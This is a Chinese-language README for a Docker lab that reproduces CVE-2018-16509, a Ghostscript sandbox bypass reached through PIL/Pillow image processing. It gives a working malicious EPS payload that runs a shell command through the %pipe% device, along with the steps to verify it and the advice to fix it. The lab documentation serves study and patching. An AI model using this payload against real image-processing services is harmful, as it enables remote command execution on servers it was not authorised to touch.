# Python PIL/Pillow 远程命令执行漏洞 (CVE-2018-16509)

[English](README.md)

PIL/Pillow 是 Python 中广泛使用的图像处理库。

在 Ghostscript 9.24 版本之前，存在一个 -dSAFER 沙盒绕过漏洞（CVE-2018-16509），攻击者可以通过构造恶意的图片文件，在图片处理过程中执行任意命令。这个漏洞影响了使用 Ghostscript 进行图像处理的多种应用，包括 Python 的 PIL/Pillow 库。当应用程序使用 PIL/Pillow 处理用户上传的图片时，若环境中安装了存在漏洞的 Ghostscript，则可能导致远程命令执行。

参考链接：

- [Ghostscript: -dSAFER bypass (CVE-2018-16509)](https://seclists.org/oss-sec/2018/q3/142)
- [PIL/Pillow EPS Image Processing](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py)
- [Ghostscript 沙箱绕过漏洞分析](https://paper.seebug.org/1159/)

## 环境搭建

执行如下命令启动一个包含漏洞的 Flask 应用（使用 Ghostscript 9.23 版本）：

```
docker compose up -d
```

环境启动后，访问 `http://your-ip:8000` 即可看到一个简单的图片上传页面。

## 漏洞复现

准备一个恶意的 EPS 文件（本环境中已提供 `rce.jpg`），其内容如下：

```
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
```

访问 `http://your-ip:8000`，上传这个文件。

上传后，服务器会使用 PIL/Pillow 处理这个图片，在调用 `resize` 函数时会触发漏洞，执行 `touch /tmp/got_rce` 命令。

执行以下命令验证漏洞是否成功利用：

```
docker compose exec web ls -la /tmp/
```

如果看到 `/tmp/got_rce` 文件，则说明命令执行成功。

## 漏洞分析

漏洞的核心在于 PIL/Pillow 在处理 EPS 图像时会调用系统的 Ghostscript 程序。在 `EPSImagePlugin.py` 中，PIL 使用 `subprocess` 调用 Ghostscript：

```python
command = ["gs",
           "-q",                         # quiet mode
           "-g%dx%d" % size,             # set output geometry (pixels)
           "-r%fx%f" % res,              # set input DPI (dots per inch)
           "-dBATCH",                    # exit after processing
           "-dNOPAUSE",                  # don't pause between pages
           "-dSAFER",                    # safe mode
           "-sDEVICE=ppmraw",            # ppm driver
           "-sOutputFile=%s" % outfile,  # output file
           "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                         # adjust for image origin
           "-f", infile,                 # input file
           "-c", "showpage",             # showpage
           ]
```

虽然使用了 `-dSAFER` 参数，但 Ghostscript 9.24 版本之前存在沙盒绕过漏洞，攻击者可以通过特制的 PostScript 代码执行任意命令。

在示例应用中，当图片上传后，会进行如下处理：

```python
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)

resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
```

仅调用 `Image.open()` 不会触发漏洞，但当调用 `resize()` 或 `save()` 等需要实际加载图片数据的方法时，会触发 Ghostscript 的调用，从而执行恶意命令。

要修复此漏洞，需要更新 Ghostscript 到 9.24 或更高版本，或者在使用 PIL/Pillow 处理用户上传的图片时，禁用 EPS 图像处理功能。
